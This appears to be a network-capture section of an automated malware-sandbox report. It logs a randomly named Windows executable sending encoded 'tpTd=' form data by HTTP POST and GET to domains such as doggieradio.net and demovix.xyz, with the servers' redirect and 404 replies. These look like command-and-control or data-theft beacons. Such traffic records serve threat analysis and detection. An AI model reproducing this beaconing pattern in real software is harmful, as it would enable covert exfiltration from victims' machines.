tpTd=H+5bRSq0NrhhoTeyXQ/oUwusr0uA2lBQo+8mJT09OzJqn8tyhigAabjn1dLcIruTG9/Rpz9bZnCY9uXDOXMroxLs4ubEyZt5ou/eUs23IlItm5TIZdhll/jby4IuaOwvD4D18iu8vIXZrMTJgXnulU1uqSX1Y/nhvRmCSfQwYGDG8VGLUxer4MDTq7SpG2yYrO/++rpZSH5iLRTIZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	60834	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:53.646997929 CEST	1777	OUT	POST /szy7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Origin: http://www.doggieradio.net Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.doggieradio.net/szy7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 48 2b 35 62 52 53 71 30 4e 72 68 68 6f 54 65 79 58 51 2f 6f 55 77 75 73 72 30 75 41 32 6c 42 51 6f 2b 38 6d 4a 54 30 39 4f 77 70 71 6e 75 31 79 67 44 67 41 41 62 6a 6e 34 39 4c 5a 49 72 75 65 47 38 58 4e 70 7a 35 68 5a 6c 36 59 37 4d 7a 44 50 6a 59 72 7a 42 4c 73 6b 65 62 46 32 5a 74 57 6f 75 76 61 55 73 6d 33 49 6c 49 74 6d 38 66 49 5a 4d 68 6c 6a 2f 6a 55 33 34 4a 68 4c 65 77 4c 44 34 62 44 38 69 69 73 76 34 33 5a 73 6f 33 4a 6c 68 7a 75 6e 30 31 73 70 53 58 39 59 2f 6a 2b 76 52 36 6b 53 65 6b 4b 59 45 44 47 2f 42 54 73 49 56 71 6f 37 65 48 2f 37 35 2f 4e 63 47 75 68 79 65 57 71 70 75 35 6c 43 43 34 36 48 69 2b 66 62 43 62 42 68 73 77 51 78 32 35 4e 58 74 72 6c 78 71 79 4f 51 2f 62 46 56 6b 77 38 6f 6d 61 52 62 79 71 47 61 7a 78 49 62 49 51 6a 54 68 31 4f 39 69 32 39 35 59 4d 4d 6a 56 61 51 32 34 6e 54 54 31 67 77 32 63 59 34 38 76 5a 68 31 49 59 64 51 63 74 4d 7a 51 48 42 36 42 73 4b 6f 7a 4d 38 75 41 7a 67 2b 7a 70 42 44 53 43 79 72 4e 77 2b 70 51 69 50 70 50 78 68 66 36 32 44 64 [TRUNCATED] Data Ascii: tpTd=H+5bRSq0NrhhoTeyXQ/oUwusr0uA2lBQo+8mJT09Owpqnu1ygDgAAbjn49LZIrueG8XNpz5hZl6Y7MzDPjYrzBLskebF2ZtWouvaUsm3IlItm8fIZMhlj/jU34JhLewLD4bD8iisv43Zso3Jlhzun01spSX9Y/j+vR6kSekKYEDG/BTsIVqo7eH/75/NcGuhyeWqpu5lCC46Hi+fbCbBhswQx25NXtrlxqyOQ/bFVkw8omaRbyqGazxIbIQjTh1O9i295YMMjVaQ24nTT1gw2cY48vZh1IYdQctMzQHB6BsKozM8uAzg+zpBDSCyrNw+pQiPpPxhf62DdTAsHqY6kdxYHnj88j3Lfpa1qb6rGXC+ehwxDY1WMB8gisqO9pldoBrhxK3wL2S/M5KwnvgRgYGj4wuUZzeyErOYXbrbhriw8BdYFBZTBimOXo8a5Ub6+bjcriiA3N4PRpiYBx+d5SjWmZXg9MviNw3WmS7G2Ah8ZjSI938vPzOC2xVye1JTgtvnyaooXYjM5c+3+9wkgwEoCwdy8nirE0tm9jijJ1KUrbryreQToGyGPkHaEKB6eW608X0JNRh2MO4QSFu4QVpiYRoPzFIgymwT4pvAKUAXmTBVCbUy9Sl5JnLxW29yNlrEa4fFUpKbj/hzyGSRa/h7/4USlg2Cv1FemGskK/VVkn3fOo0yzieMYp70YIPyZssVRpR3MzTOc3tBsJgk4IKPZW0ciWMnrDvlFLtr4xV0+WRJ5cwgB6dhvmDXFLR2xlNbp0t1dwwfcT63noDTaabeGxpmVyu7Tgk3SeFelmBnNlBzfG+xbRwLEVHbAr93uAHf+dY2uc/oVPQzo78Gebjjq/pn1S2kBrcF97pWe1h3HRQyVFt1bZTxhVR2sbs0kHEfyjzPAnlZYU8HV2uNzrh1vNob9XGwn3dV7KddHWFTX0jD8gdXjRR9r8meUrDtpEoq56Pm7cT93D/EYZVZdaYEuYBzhsb3A/NzOLwzH0CG1Pl [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	60835	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:56.215729952 CEST	476	OUT	GET /szy7/?tpTd=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2jiKrkd/jwL9iqNrnd9yIGgMT9MzICA==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:34:56.673837900 CEST	395	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:34:56 GMT Content-Type: text/html Content-Length: 255 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 70 54 64 3d 4b 38 52 37 53 6e 53 66 62 37 64 6c 69 33 65 58 52 41 44 33 53 6e 6e 74 73 56 53 53 6a 31 5a 43 6a 73 52 6c 43 7a 49 73 44 57 4a 55 78 63 6c 63 67 7a 56 59 54 71 37 66 36 4e 37 2f 55 4b 6a 54 42 70 50 58 33 57 56 6f 50 48 2f 76 30 74 6a 35 44 6d 6b 32 6a 69 4b 72 6b 64 2f 6a 77 4c 39 69 71 4e 72 6e 64 39 79 49 47 67 4d 54 39 4d 7a 49 43 41 3d 3d 26 57 58 3d 72 6e 57 6c 6c 50 35 50 4c 6c 68 4c 4c 74 6a 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tpTd=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2jiKrkd/jwL9iqNrnd9yIGgMT9MzICA==&WX=rnWllP5PLlhLLtj"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	60836	199.192.19.19	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:06.768614054 CEST	728	OUT	POST /azuc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Origin: http://www.demovix.xyz Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.demovix.xyz/azuc/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 46 47 75 55 66 75 67 39 59 79 56 51 35 4c 73 56 64 5a 4b 78 45 4c 49 45 4e 4b 5a 51 64 50 52 6e 43 48 4c 49 66 53 53 46 78 56 58 4f 4d 30 2b 32 52 34 57 35 43 41 6e 4d 45 4d 56 63 47 65 4f 37 51 79 4b 57 31 61 70 71 63 6e 52 4b 31 67 47 49 65 34 4d 76 30 41 78 38 79 67 70 41 47 47 30 41 35 65 56 54 48 43 76 61 6d 34 45 36 77 79 4a 35 70 47 6b 72 45 37 7a 61 73 66 45 41 38 74 52 35 57 6b 78 72 4e 34 49 57 47 62 78 47 36 65 4c 74 4d 46 4e 69 36 70 31 52 4f 45 72 48 71 50 59 72 76 37 4a 50 49 75 65 6b 54 61 37 73 76 58 69 48 2b 46 2b 65 75 41 65 70 58 6e 4e 66 Data Ascii: tpTd=FGuUfug9YyVQ5LsVdZKxELIENKZQdPRnCHLIfSSFxVXOM0+2R4W5CAnMEMVcGeO7QyKW1apqcnRK1gGIe4Mv0Ax8ygpAGG0A5eVTHCvam4E6wyJ5pGkrE7zasfEA8tR5WkxrN4IWGbxG6eLtMFNi6p1ROErHqPYrv7JPIuekTa7svXiH+F+euAepXnNf
Oct 8, 2024 15:35:07.426352024 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:35:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Oct 8, 2024 15:35:07.426424026 CEST	1236	IN	Data Raw: 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 Data Ascii: .196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,
Oct 8, 2024 15:35:07.426476955 CEST	1236	IN	Data Raw: 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 Data Ascii: 5-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.5
Oct 8, 2024 15:35:07.426517010 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none"
Oct 8, 2024 15:35:07.426551104 CEST	1236	IN	Data Raw: 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="48
Oct 8, 2024 15:35:07.426584959 CEST	1236	IN	Data Raw: 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 32 34 37 2e 39 35 22 20 79 31 3d 22 35 35 31 2e 37 31 39 22 20 78 32 3d 22 32 34 30 2e 31 31 33 22 20 79 32 Data Ascii: troke-miterlimit="10" x1="247.95" y1="551.719" x2="240.113" y2="551.719" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miter
Oct 8, 2024 15:35:07.426621914 CEST	1236	IN	Data Raw: 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 Data Ascii: ="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="450.066" cy="320.259" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit=
Oct 8, 2024 15:35:07.426654100 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 35 34 39 2e 38 37 39 22 20 63 79 3d 22 32 39 36 2e 34 30 32 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <circle fill="#0E0620" cx="549.879" cy="296.402" r="2.651" /> <circle fill="#0E0620" cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <c
Oct 8, 2024 15:35:07.426687956 CEST	1236	IN	Data Raw: 33 63 2d 31 31 2e 30 38 36 2d 32 2e 39 37 32 2d 31 37 2e 36 36 34 2d 31 34 2e 33 36 39 2d 31 34 2e 36 39 32 2d 32 35 2e 34 35 35 6c 31 35 2e 36 39 34 2d 35 38 2e 35 33 37 0a 09 09 09 63 33 2e 38 38 39 2d 31 34 2e 35 30 34 2c 31 38 2e 37 39 39 2d Data Ascii: 3c-11.086-2.972-17.664-14.369-14.692-25.455l15.694-58.537c3.889-14.504,18.799-23.11,33.303-19.221l52.349,14.035c14.504,3.889,23.11,18.799,19.221,33.303l-15.694,58.537C360.647,451.083,349.251,457.661,338.164,454.689z" /> <
Oct 8, 2024 15:35:07.426726103 CEST	1236	IN	Data Raw: 37 63 35 2e 32 33 34 2d 33 2e 30 33 39 2c 37 2e 37 33 31 2d 38 2e 39 36 36 2c 36 2e 36 37 38 2d 31 34 2e 35 39 34 63 32 2e 33 34 34 2c 31 2e 33 34 33 2c 34 2e 33 38 33 2c 33 2e 32 38 39 2c 35 2e 38 33 37 2c 35 2e 37 39 33 0a 09 09 09 09 63 34 2e Data Ascii: 7c5.234-3.039,7.731-8.966,6.678-14.594c2.344,1.343,4.383,3.289,5.837,5.793c4.411,7.596,1.829,17.33-5.767,21.741c-7.596,4.411-17.33,1.829-21.741-5.767c-1.754-3.021-2.817-5.818-2.484-9.046C375.625,437.355,383.087,437.973,388.762,434.67
Oct 8, 2024 15:35:07.432147026 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 20 64 3d 22 0a 09 09 09 09 4d 33 35 33 2e 33 35 31 2c 33 36 35 2e 33 38 37 63 2d 37 2e 39 34 38 2c 31 2e 32 36 33 2d 31 36 2e 32 34 39 2c 30 2e 39 Data Ascii: stroke-miterlimit="10" d="M353.351,365.387c-7.948,1.263-16.249,0.929-24.48-1.278c-8.232-2.207-15.586-6.07-21.836-11.14c-17.004,4.207-31.269,17.289-36.128,35.411l-1.374,5.123c-7.112,26.525,8.617,53.791,35.13,60.899l0,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	60837	199.192.19.19	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:35:09.594202995 CEST	752	OUT	POST /azuc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.demovix.xyz Origin: http://www.demovix.xyz Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.demovix.xyz/azuc/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 46 47 75 55 66 75 67 39 59 79 56 51 36 72 38 56 52 61 69 78 47 72 49 62 43 71 5a 51 4c 2f 52 6a 43 48 48 49 66 54 48 4f 77 6a 48 4f 56 56 4f 32 53 35 57 35 44 41 6e 4d 44 38 55 59 4c 2b 4f 6b 51 79 32 65 31 59 74 71 63 6e 31 4b 31 6c 71 49 65 49 77 67 31 51 78 2b 30 67 70 43 49 6d 30 41 35 65 56 54 48 43 37 77 6d 38 6f 36 77 69 5a 35 70 69 51 6b 59 72 7a 5a 37 76 45 41 34 74 51 2b 57 6b 77 45 4e 34 34 73 47 64 74 47 36 61 48 74 4c 57 56 6c 77 70 30 55 44 6b 71 4d 69 39 6c 4a 6f 38 46 30 44 34 66 44 44 38 6a 4e 68 57 43 5a 76 33 33 46 37 58 65 4f 51 41 45 33 30 7a 62 77 39 2b 59 6d 4d 4a 4c 35 35 78 61 4a 34 63 30 38 39 51 3d 3d Data Ascii: tpTd=FGuUfug9YyVQ6r8VRaixGrIbCqZQL/RjCHHIfTHOwjHOVVO2S5W5DAnMD8UYL+OkQy2e1Ytqcn1K1lqIeIwg1Qx+0gpCIm0A5eVTHC7wm8o6wiZ5piQkYrzZ7vEA4tQ+WkwEN44sGdtG6aHtLWVlwp0UDkqMi9lJo8F0D4fDD8jNhWCZv33F7XeOQAE30zbw9+YmMJL55xaJ4c089Q==
Oct 8, 2024 15:35:10.238828897 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:35:10 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 16026 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="hamburger-menu"> <button class="burger" data-state="closed"> <span></span> <span></span> <span></span> </button></div><main> <div class="container"> <div class="row"> <div class="col-md-6 align-self-center"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 800 600"> <g> <defs> <clipPath id="GlassClip"> <path d="M380.857,346.164c-1.247,4.6 [TRUNCATED]
Oct 8, 2024 15:35:10.238892078 CEST	1236	IN	Data Raw: 2e 31 39 36 2c 31 30 2e 30 36 63 2d 39 2e 33 33 32 2c 33 2e 33 37 37 2d 32 36 2e 32 2c 37 2e 38 31 37 2d 34 32 2e 33 30 31 2c 33 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2d 32 38 2e 34 38 35 2d 31 36 2e 35 39 39 2d 33 34 2e 38 Data Ascii: .196,10.06c-9.332,3.377-26.2,7.817-42.301,3.5 s-28.485-16.599-34.877-24.192c-3.101-3.684-4.177-8.66-2.93-13.311l7.453-27.798c0.756-2.82,3.181-4.868,6.088-5.13 c6.755-0.61,20.546-0.608,41.785,5.087s33.181,12.591,
Oct 8, 2024 15:35:10.238926888 CEST	1236	IN	Data Raw: 35 2d 31 32 2e 34 30 38 0a 09 09 09 63 30 2d 33 2e 33 37 38 2d 31 35 2e 33 34 37 2d 34 2e 39 38 38 2d 34 30 2e 32 34 33 2d 37 2e 32 32 35 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 72 69 6e 67 53 68 Data Ascii: 5-12.408c0-3.378-15.347-4.988-40.243-7.225" /> <path id="ringShadow" opacity="0.5" fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" d="M483.985,127.43c23.462,1.5
Oct 8, 2024 15:35:10.238961935 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 Data Ascii: <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="320.135" y1="132.746" x2="320.135" y2="153.952" /> <line fill="none"
Oct 8, 2024 15:35:10.239012957 CEST	1236	IN	Data Raw: 20 20 20 20 78 31 3d 22 34 32 36 2e 38 37 31 22 20 79 31 3d 22 33 38 36 2e 31 37 35 22 20 78 32 3d 22 34 33 37 2e 34 37 34 22 20 79 32 3d 22 33 38 36 2e 31 37 35 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 Data Ascii: x1="426.871" y1="386.175" x2="437.474" y2="386.175" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" x1="48
Oct 8, 2024 15:35:10.239044905 CEST	1236	IN	Data Raw: 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 31 3d 22 32 34 37 2e 39 35 22 20 79 31 3d 22 35 35 31 2e 37 31 39 22 20 78 32 3d 22 32 34 30 2e 31 31 33 22 20 79 32 Data Ascii: troke-miterlimit="10" x1="247.95" y1="551.719" x2="240.113" y2="551.719" /> </g> <g> <line fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miter
Oct 8, 2024 15:35:10.239078999 CEST	1236	IN	Data Raw: 3d 22 23 30 45 30 36 32 30 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 33 22 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 Data Ascii: ="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit="10" cx="450.066" cy="320.259" r="7.952" /> <circle fill="none" stroke="#0E0620" stroke-width="3" stroke-linecap="round" stroke-miterlimit=
Oct 8, 2024 15:35:10.239109993 CEST	108	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 35 34 39 2e 38 37 39 22 20 63 79 3d 22 32 39 36 2e 34 30 32 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <circle fill="#0E0620" cx="549.879" cy="296.402" r="2.651" /> <circle fill="#0E0620
Oct 8, 2024 15:35:10.239140987 CEST	1236	IN	Data Raw: 22 20 63 78 3d 22 32 35 33 2e 32 39 22 20 63 79 3d 22 32 32 39 2e 32 34 22 20 72 3d 22 32 2e 36 35 31 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 30 45 30 36 32 30 22 20 63 78 3d 22 Data Ascii: " cx="253.29" cy="229.24" r="2.651" /> <circle fill="#0E0620" cx="434.824" cy="263.931" r="2.651" /> <circle fill="#0E0620" cx="183.708" cy="544.176" r="2.651" /> <circle fill="#0E0620" cx="382.5
